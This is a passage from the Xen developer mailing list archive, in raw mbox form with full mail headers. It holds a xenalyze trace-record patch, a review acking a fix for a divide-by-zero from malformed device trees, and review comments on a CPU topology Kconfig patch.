	RjJwgEmU2fIr9+LccXA9wxIT3VFwA886BJBv2R9PqgTghBY5JK+SeSmyPRvsY5fYxXcvk+OQT+dVcDMQqdMxfbPauRK9aTF8p3pSRFw3GYB+HE7AxQTJCjjLQkGcLLPB0uy8D8ddZ66/NYHrj11mJ29JdW7rDfwi+K6fUrZNEfxEXEPMaDFv2D/Ly2GyLF141XXPBI7VhBW1GC2ViDYDnce//GDcqELj5kUYchIsuKPAnGiCAbUdrFvcORB3e3TWUx7fY8F8h6+YW7ut0FxGLTOwXfH1PttPhm811yWq6sVKH0PzYpVlLBi1v+k5q3VKisDkQXR9GrzqPtMOzfXaW1090G11PuARfxEhsE10DubA9b3oC6dy/t7O3H/rLXI72iOG5DQqwSb2D3Nk3p+zYlRzXgg45Zvqe1xdlYIcYkwZGZxlTDymgZT5yndHEkEND/QAiE++oJgVoHq6ytcLjOUk6QbbF+fXNEh9YBP49bPQO24QzeoNk3XlH3im5BO8UzjwsyP+hO4zcVK+V3p2huSf1VHGh+mVxEeH72EwfQTLONM7KYrlR4XOSyr1L2xrA8DDUIZOpkx5r4uppPdIsIEqYBWmzFFR6qJUza1qOdHed0Muxx1slqLxCbp3rv/nYpyIU5WKd+vlB5RY3CxxtGOMU9Yw1TjW9pmfMP5WTLA=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(1800799024)(366016)(10070799003)(23010399003)(6133799003)(56012099006)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?//DdluiC48F5aCbNbH4NL1tHOwKdzrWoP4LpYjL1PEKLPbMcdkertTkqTeZm?=
 =?us-ascii?Q?FxVnpoaithag70Y1VJUbCFHX9m529lH6gx674dto/o2OSagTCgLzjoGp1JPh?=
 =?us-ascii?Q?CeNFg8S1mwEpjXI3QQqOPvFKZPOiX9/hHqs3cf0HiU5Lazcc8dM/eqzEwyU9?=
 =?us-ascii?Q?mFM/+nKCdl3C3wlnOeC/81LMAowELaY0wFmEuOjdbNJZQgY9Pp1tf/Jlr4Qw?=
 =?us-ascii?Q?mzqI0dUUGfHkpwvMwhCJmDIRqERO25Zos27WwvjFLNXZqFdaP8Rd3CIwz8x+?=
 =?us-ascii?Q?I11wgTKUl9rmxUA6XBVM2EiLVMPx2ihx/UWafqgHD2Jsi75H1FvxhJuJ/dm3?=
 =?us-ascii?Q?g9wbrewnaw51/2Q+OjhfD3Jwgc/+a7ux+7ZQh5tNap+q3MqjNMmxrrr2M5VJ?=
 =?us-ascii?Q?OhdspEG6DOMlT+tdzettHK1hb780P8OddR29+P6kdfqfssICBurRn3DgE3Be?=
 =?us-ascii?Q?QnLhmWmSn5droB83UgIt+W/ydJUE6Q0ik/nyEHzhDpzT0ecIlmEsd8FI4Ek4?=
 =?us-ascii?Q?uII/fih5Wi6X+ezLHVPH1WoyHNAkJvUMVWXoSQoNvo0wWudetwHYgnArg9/w?=
 =?us-ascii?Q?fSg67q2TB8w7CgT3//cL1p4NAiPtuGxt6xHyciwboRKQHCoIVS4dLxdj/8wG?=
 =?us-ascii?Q?VHdCop9MUB0jxbdYYt8+OVVLWT3Wg9znnRL2OCOUUPDZgEKMxXJEijgx3Cnl?=
 =?us-ascii?Q?BvfoIZ2MrHWATMqEf819YgIRv3yF8p7KI40f+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8Qmi8kgSS?=
 =?us-ascii?Q?t3uEQM3Jcmuc3u7q/elUt3eVqK6rBDL/225p4DfRc3XV+EXq84jF2ZwMw52B?=
 =?us-ascii?Q?ZZe3ET0MxSoXLS5IE+V5Lw81CAVwbb4KqKuvMetuKGX20xjGEqnTDzJtneH5?=
 =?us-ascii?Q?QMO73JzeqcqZGINdqM8Dxzalas/dMkuWc/fe8AvIwMacscwm31lLhXSCfK5I?=
X-MS-Exchange-AntiSpam-MessageData-1: fsM5gR5ZU+oKxA==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 643c0af8-8f7a-45fe-725e-08dede4e9c31
X-MS-Exchange-CrossTenant-AuthSource: TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 06:43:54.8258
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: U1eeKpnb0jy02RL+UqkIkIeWwDwDg9MMjR+6uaTExOFwVYt8K0HghkioThGOZ0i++4QbXAYIGX5Ey+fiVKBCSA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB4752
X-purgate-ID: tlsNG-ef75cf/1783665840-D3B61201-C4C6775A/0/0
X-purgate-type: clean
X-purgate-size: 1797

The RTDS repl_budget trace record now contains the vCPU priority
level. Update xenalyze to account for the additional field and print
it when dumping the trace event.

Without this change, xenalyze interprets the record using the old
layout, causing the deadline and budget fields to be decoded from the
wrong offsets.

Fixes: 463b95831778 ("xen:rtds: towards work conserving RTDS")
Signed-off-by: Ryoji Okamoto <okamoto@valinux.co.jp>
---
Changes in v2:
- Add "Fixes" to point out the commit which introdued the priority in
  trace in commit message
- No code changes.

And thanks to Jan for kindly pointing out the formatting issue in my very first patch submission.

 tools/xentrace/xenalyze.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/tools/xentrace/xenalyze.c b/tools/xentrace/xenalyze.c
index 42feeb282e..439066e352 100644
--- a/tools/xentrace/xenalyze.c
+++ b/tools/xentrace/xenalyze.c
@@ -8039,12 +8039,13 @@ void sched_process(struct pcpu_info *p)
             if(opt.dump_all) {
                 struct {
                     unsigned int vcpuid:16, domid:16;
+                    uint32_t priority_level;
                     uint64_t cur_dl, cur_bg;
                 } __attribute__((packed)) *r = (typeof(r))ri->d;
 
                 printf(" %s rtds:repl_budget d%uv%u, deadline = %"PRIu64", "
-                       "budget = %"PRIu64"\n", ri->dump_header,
-                       r->domid, r->vcpuid, r->cur_dl, r->cur_bg);
+                       "budget = %"PRIu64", priority = %u\n", ri->dump_header,
+                       r->domid, r->vcpuid, r->cur_dl, r->cur_bg, r->priority_level);
             }
             break;
         case TRC_SCHED_CLASS_EVT(RTDS, 5): /* SCHED_TASKLET    */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 07:21:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 07:21:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358795.1612688 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi5YN-0007Re-7z; Fri, 10 Jul 2026 07:21:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358795.1612688; Fri, 10 Jul 2026 07:21:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi5YN-0007RX-4j; Fri, 10 Jul 2026 07:21:43 +0000
Received: by outflank-mailman (input) for mailman id 1358795;
 Fri, 10 Jul 2026 07:21:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wi5YM-0007RR-0B
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 07:21:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi5YL-00FuXI-6I
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:21:41 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a509d81-5cb7-0a2a0a5109dd-0a2a45078e8c-4
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:21:41 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a509d84-ac46-0a2a45070019-d155802bb4bf-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:21:41 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493c733f15aso5148035e9.0
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:21:40 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6d5055sm115543975e9.5.2026.07.10.00.21.39
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 00:21:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783668100; x=1784272900; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=zx5hIUiN+aXUgw9YVOPJ2f4cALPKKalFaaf8nf0+O3E=;
        b=K2+zkbSk20IG2hnxJN4eYe/qDPw7RpNOTkjsoD5As7+enrZ/alsdSGxzCS0bpW9Uka
         9+nRlFenmkvx02VvvI8wZpfdvIuF96jOiv63bhwbCg3a5q00eDYN2tF1MSt3Wsoe4+FK
         zosFZ8H2mq9cRH/KBhkNTm30LP1F7c93muTLLQr52EvSRdEfFGQVIy/HHrymd2EDjEOX
         +DiqnK3vvVEMvvRXvaAo/DlxPWq18wvkabOofAzWKmKKyMo03/Nyp2zS3BBfHh1MdDpD
         v4lQk7wivQVtKl4pUwEHuWqVb1xWw1l6h2XXLe+8xITnQ5WvNrW/vqHjDoLyMkpVEn9S
         eTqg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783668100; x=1784272900;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=zx5hIUiN+aXUgw9YVOPJ2f4cALPKKalFaaf8nf0+O3E=;
        b=h2COJ32zXpJknoXuuGHvWdiCVJwmYy86fAu7E35doqFKgUTSRJjQCBY2HFLKfatdg+
         FDhWs6RYvVywnsIVni1CTdGAftL3WSzCPDhaq6ZIetyvBGzVw1DFLTY4KMVHFnp7Oqli
         c7z72KGhRgSWlqEDWoQ5aWrYOsw4/JPS139j9aCvltoQ9NCuUlbgwQfFgRXKifW/7Q14
         LLvWtTqpuh4HaaZ6RiezJ+EY9wqLo94jnUIYDdxS+B0V5UpOJ/VC0GU5oqwdXKIIWbRg
         noIHOG+SP5E7+yfTsysh4qB4Yq3NSNPunC7sqdHNnyHBFzFKRkLCghyxh3hys60K6LzD
         QK1w==
X-Forwarded-Encrypted: i=1; AHgh+Rp2j9816sLVUyd0x4k4qSYNblA9DF7WhwoJgkwcoQPvCBJbgx23/DSBT81UmLDj5+YwNE9kEAFGhAg=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzh0SVlL10/XoVVJAhUz9zJOxX5jHtg1himJOESspIz9kVVLN/n
	n74104qH6TQWmxb6+mQdu3GvTOE4T1AEhtFEbp6gaPY3NlbiqcIQ+ckp
X-Gm-Gg: AfdE7clcu8HnyYb6oKnjjB82i98SOydaNXplJTN0Tzk/oaKY/UqWfEA1AKM8FDVCT2V
	jl7bamY881yN6KshvOdue+jeGhOVVbLyhiP+h+VBvkdJ0jEQ1iK7e27cuTOn721yOcQdST0Qhim
	z3VCM1nWo+Pn3nK4Ls136rNt8uHeEiK0HMiHVqBeVXBIZmVNRjdRDmz+mmP9JYA1iFVsjpHghBK
	7Q/Gm0lEHOMPl+QNlRM2Z7eKWan1SxtKVsYbKpjLrLvdbf+67tvTVSeVPulI/ZEM4XuZre7ZRqf
	7UvLi/RC4NYqceSi1JGarIw2XpZVRw7aHhv5VrQqgV5VNR7K4wOKutXx3TAOkSWcG0mAWK51sJo
	sLCH3gsSj5257b9FLxNreCwUrtp16qtLU/pn+aM6viehn3Iml6LZP6I8BmUd/W15HscQ5xz5ppI
	X4ZunFBhNQQBcjRveOkQ6Qg8GGzt5dDVMSq6bQ2gHGuZT+c9AlbucsfJCaPZzYj2jY3wk=
X-Received: by 2002:a05:600c:8b6a:b0:493:b55f:bca2 with SMTP id 5b1f17b1804b1-493e88760f3mr88290035e9.34.1783668100394;
        Fri, 10 Jul 2026 00:21:40 -0700 (PDT)
Message-ID: <a3fdd217-ede1-42e1-a382-480a4ea4ff80@gmail.com>
Date: Fri, 10 Jul 2026 09:21:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 v5] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>
References: <7a146536c13431933899ffffc93c85724dfbaf87.1783599357.git.dmytro_prokopchuk1@epam.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <7a146536c13431933899ffffc93c85724dfbaf87.1783599357.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1783668101-1F562201-FCA00531/10/73395122804
X-purgate-type: spam
X-purgate-size: 2362



On 7/9/26 2:31 PM, Dmytro Prokopchuk1 wrote:
> A malformed partial DTB specifying both '#address-cells = <0>' and
> '#size-cells = <0>' causes '(address_cells * 2 + size_cells)' to
> evaluate to 0. This sum is subsequently used as a divisor when
> calculating the number of regions in the 'xen,reg' property inside
> handle_passthrough_prop():
> 
>      len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>                                          sizeof(uint32_t));
> 
> This leads to a division by zero exception in the Xen hypervisor during
> boot, causing a hypervisor panic/crash.
> 
> Fix this by validating that both 'address_cells' and 'size_cells'
> are within the valid range of [1, 2] at the read side in scan_pfdt_node()
> immediately after they are parsed. Any invalid cell size combination is
> safely rejected early with an error message and return -EINVAL.
> 
> Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
> ---
> Changes in v5:
> - fixed mistakes around dprintk()
> Test CI pipeline:
> https://gitlab.com/xen-project/people/dimaprkp4k/xen/-/pipelines/2664600678
> ---
>   xen/common/device-tree/dom0less-build.c | 8 ++++++++
>   1 file changed, 8 insertions(+)
> 
> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
> index eacfd93087..c054ea4e2f 100644
> --- a/xen/common/device-tree/dom0less-build.c
> +++ b/xen/common/device-tree/dom0less-build.c
> @@ -341,6 +341,14 @@ static int __init scan_pfdt_node(struct kernel_info *kinfo, const void *pfdt,
>       size_cells = device_tree_get_u32(pfdt, nodeoff, "#size-cells",
>                                        DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
>   
> +    if ( (address_cells < 1) || (address_cells > 2) ||
> +         (size_cells < 1) || (size_cells > 2) )
> +    {
> +        dprintk(XENLOG_ERR, "Invalid address_cells %u or size_cells %u\n",
> +                address_cells, size_cells);
> +        return -EINVAL;
> +    }
> +
>       node_next = fdt_first_subnode(pfdt, nodeoff);
>       while ( node_next > 0 )
>       {

LGTM:
  Reviewed-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 07:25:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 07:25:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358804.1612697 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi5cE-0007yi-Mh; Fri, 10 Jul 2026 07:25:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358804.1612697; Fri, 10 Jul 2026 07:25:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi5cE-0007yb-Jg; Fri, 10 Jul 2026 07:25:42 +0000
Received: by outflank-mailman (input) for mailman id 1358804;
 Fri, 10 Jul 2026 07:25:41 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wi5cD-0007yV-1t
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 07:25:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi5cC-005SDy-01
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:25:40 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a509e70-e002-0a2a0a5209dd-0a2a4503cfec-18
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:25:39 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a509e73-f2d2-0a2a45030019-d155802db18c-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:25:39 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493b7612475so4309625e9.3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:25:39 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493f567eadfsm14361485e9.6.2026.07.10.00.25.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 00:25:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783668339; x=1784273139; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=q7W9gnPqQfoBJ2u+7VsDnH2TLrHRttdcWyybsSm+J8g=;
        b=gS7QJP78WVNuCrOz/fwmUYwK0p8mcHs+JCd9Bv7MtkCftTRfyywKX8PmxWtF9O76BG
         fiEeW9nd/DVPInPsVzxd8gLysw7LbY07FUmLJ+tgnPj8DCM/rQQrAi7S+hGjNBkH0KiT
         wgNFogw7DcpGpFXSeyVXxM1OmYMAVV0D0b2UVvsUCCFn1T6OrzWVWs7M4pkMVQ9Rp2xp
         VGuvaGtU8wPYwPkf2lj65S8hzVQ1BAE7s9EXSQMEsFZTi+87iUEAheAAxA5Pf7kYfw3x
         xY++SLlLDGTMKcq3Drt5/7qaQr5d5ednLOM5V4H3dt3eoiKMKOY5ypcVJB2A7sPR/SRk
         VL6w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783668339; x=1784273139;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=q7W9gnPqQfoBJ2u+7VsDnH2TLrHRttdcWyybsSm+J8g=;
        b=nU8JzOCH/iqg5KpNTRMJTbg7qmMyfSRAG0TvWkW+WRL5fIKh1/DmYGGTKTRgygrPH7
         HQPuYv5MIsOpM5A1lQiO0RAdjJOK0WvTWHAx8wHPX42psNEetngdC96WvYPNXItukx7l
         TQjK7obf+wQKyVHq6V/1wVBrCIK1DMxNXEGB2cSXWaC6NdMqZs7UnPqt80/lSfQbHfa0
         fXOXQvwEN0vP3EHvs17aCBUfakxuyQ3Uo3FHaAlKbLNmHEPRmaZhgjiDRkAjhQmMxbF+
         OKz+TDB9ZAg9uLU2WRlAwJV/3Duo0gNpmdIkeYRNWlN3q1Bf13dRS/wM15CTQ/eYm4n8
         TR6Q==
X-Forwarded-Encrypted: i=1; AHgh+RpTJFUL2OwM4ZFhG09R9P/XBGuHm9jnmmjgPIoMkQnKMfU165qOnkYRHPm1gd4GTyaUx/h7oca1VbE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzY6mfenUScyDnr1oFtTswgH4JFq/BXw1kyQrl5vhTSPgaBtWJ9
	48tuWH2C7LPWEh6qguYWXyG5L/uGUfjOOWik01f9mc3JuJEX1pL0dVrrLOXgVq2ndw==
X-Gm-Gg: AfdE7cmUdkXS/cjhZ6xhIyFyY0A8HFR4NkMkVC8j5RmW6ax5xlAJwIxDGhP/cDqJS/Y
	e9J6eiXAWil3KrvHckLqtz39ai9XWnSaRX0DmxRwflWI2lEViAOFIJX6XSo+hDFVbbms03D8Flk
	TdDT64woi2g1q3NPfGyImGtGRzkQWlAYX47U4eQ++dzYm+yNQiyCLsqgnIspU+kUHJLwTYhMjXq
	TX0NJkERUSpAWTJ54/IPOTcMtEuYAcdRN/ptkwu2nFkkCyfhPGxo764cRTisvsXoyuURe312NjH
	7gP1jr+WD3UuSmvK2gl98BRpT8fN6mbWE7/VSSh6K07rloMPlKGTFdwq8RVlJyrORajZMwOMRvj
	Ka4MrUsy+MBPmf5A/G6f36KLeYO5EaE/qMkVoCJyxnf4HGxHzIm9bFrB+cU+G9GcaRJOZjg7Xzd
	qK7ilNp7OhrtDFwuSZm2PEVrhgXceXe6Q7BCFCvaTSArTWu0y67hqCOw1s1vkqaO7Rjr8blJwyG
	dLKLjxaT+ZfFbk=
X-Received: by 2002:a05:600c:c3cf:10b0:493:f0f5:f2db with SMTP id 5b1f17b1804b1-493f0f5f3aemr26816315e9.22.1783668339195;
        Fri, 10 Jul 2026 00:25:39 -0700 (PDT)
Message-ID: <0fe60f59-ce48-4d0f-96f7-16bbae05a81f@suse.com>
Date: Fri, 10 Jul 2026 09:25:37 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 1/4] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <20260709220552.646462-1-taka@valinux.co.jp>
 <20260709220552.646462-2-taka@valinux.co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NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260709220552.646462-2-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1783668339-F2B5CCF4-3D9CA095/0/0
X-purgate-type: clean
X-purgate-size: 1168

On 10.07.2026 00:05, Hirokazu Takahashi wrote:
> --- a/xen/arch/arm/Kconfig
> +++ b/xen/arch/arm/Kconfig
> @@ -23,6 +23,7 @@ config ARM
>  	select HAS_STACK_PROTECTOR
>  	select HAS_STATIC_MEMORY
>  	select HAS_UBSAN
> +	select HAS_GENERIC_CPU_TOPOLOGY

Please insert at the appropriate spot of this list, not at the bottom. We
try to keep such lists sorted (both for easier lookup and for reduced risk
of two patches colliding).

> --- a/xen/common/Kconfig
> +++ b/xen/common/Kconfig
> @@ -191,6 +191,21 @@ config VM_EVENT
>  config NEEDS_LIBELF
>  	bool
>  
> +config HAS_GENERIC_CPU_TOPOLOGY
> +	bool
> +
> +config DT_CPU_TOPOLOGY
> +	bool
> +
> +config GENERIC_CPU_TOPOLOGY
> +	bool "CPU topology support (UNSUPPORTED)" if UNSUPPORTED
> +	depends on HAS_GENERIC_CPU_TOPOLOGY
> +	select DT_CPU_TOPOLOGY if DEVICE_TREE_PARSE
> +	select ACPI_CPU_TOPOLOGY if ACPI
> +	help
> +	  Retrieve CPU topology information from the device tree or the
> +	  ACPI PPTT to optimize virtual CPU scheduling.
> +
>  config NUMA
>  	bool

I can't help the impression that none of my v4 comments were taken into
account. And not just here.

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 07:26:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 07:26:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358809.1612705 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi5cz-0008QU-Ua; Fri, 10 Jul 2026 07:26:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358809.1612705; Fri, 10 Jul 2026 07:26:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi5cz-0008QN-Rt; Fri, 10 Jul 2026 07:26:29 +0000
Received: by outflank-mailman (input) for mailman id 1358809;
 Fri, 10 Jul 2026 07:26:28 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wi5cx-0008QA-Re
